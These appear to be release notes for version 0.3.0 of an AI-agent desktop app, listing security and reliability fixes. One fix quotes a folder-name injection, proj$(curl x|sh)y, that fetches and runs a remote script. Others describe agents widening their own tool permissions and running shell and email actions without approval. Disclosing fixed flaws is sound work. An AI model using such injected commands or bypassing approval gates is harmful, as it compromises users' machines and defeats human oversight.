v0.3.0 — a folder name that ran, and nineteen more

One file — download it and double-click.

This is the whole DEBUG3 run: eight blocks executed against a live daemon on real
hardware, twenty fixes, and a regression test for every one of them watched failing
against the old code first.

704 → 847 tests · 20 commits · 0 regressions

The five that would have cost you something

A folder's NAME executed. A folder called proj$(curl x|sh)y ran that command on
your machine — at app start, with no click, and again on every launch, because the
workspace list is persisted. The safe escaping helper the code needed was already in the
same file, 138 lines below, unused: three copies of one idea, and the only unsafe one had
all eleven call sites.

A damaged saved file was replaced by defaults and then destroyed. "Unparseable" was
being read as "absent". Measured: a truncated session store became one empty session
during page load, before a pixel reached the screen — and the same code shape guarded
the canvas, theme, wallet and agents. Damaged bytes are now set aside, and you are told,
once, in words.

Safety gates stopped applying in silence. A crew that failed to load, or that you
deleted, let run_shell / write_file / send_email run unapproved while the
session still displayed the crew's name. It fails closed now, and says which of the two
happened.

Fifteen controls said "done" over failures the daemon had already refused. "Memory
added" was false. Export wrote a file containing none of your memories. Bulk delete
removed notes you could not see.

/health leaked the macOS username, unauthenticated. Closed.

Also fixed

• The model could widen its own tools — create_harness, update_harness and
  use_harness were ungated, so an agent could switch to a crew with weaker gates
  without asking.
• dropletStatus reached DigitalOcean and wrote your server record with the ssh
  permission off.
• A legitimate 29 February cron read ACTIVE forever, alongside impossible ones.
• Naming an existing file wiped it to 0 bytes under "File created".
• SEARCH errored on every query in every build — the module threw at import.
• The browser's disposable profile was only wiped on launch, never on stop, so a dead
  engine's cookies sat on disk for days.
• A 512 KB curriculum cliff where the panel offered Edit on a document the bridge had
  refused to hand over, and the two sides measured different units.

Three deliberate behaviour changes

• The browser no longer writes visited URLs to disk. Docking a browser square keeps
  the address for the session; after a quit, the square opens clean. That is what the
  browser always promised.
• Paused tasks no longer advertise a next run. Stale dates are cleared on load;
  starting a task computes a fresh one.
• The ⌘K palette names panels what their windows name them — CODE, iT, BROWSER,
  AGENT — instead of their internal keys. It also lists every panel automatically now, so
  a new one can no longer be missing from it.

New, for anyone arriving

KNOWN-ISSUES.md · CONTRIBUTING.md · issue templates · a PR template.

KNOWN-ISSUES is ours first — including the parts of the hands-on QA that are not
finished (41 of 151 numbered tests run, 0 of 7 journeys walked), which behaviours are
deliberate rather than broken, and the accepted residual risks. If you hit something
that is not in it, that is a real bug and we want the issue.

The version

The v0.2.1 notes ended by admitting the app still reported 0.2.0. package.json is now
the single origin, the build refuses if the substitution token ever disappears, and a
fresh daemon answers /health with the number on the tin.

---

sha256  ffaea2da5f27bf1fbb5add197ef7ef963518d1faf970385dac16337b241376d9

Reproducible from source — clone this repo and run npm run build; dist/index.html
hashes to the line above. 847 tests pass.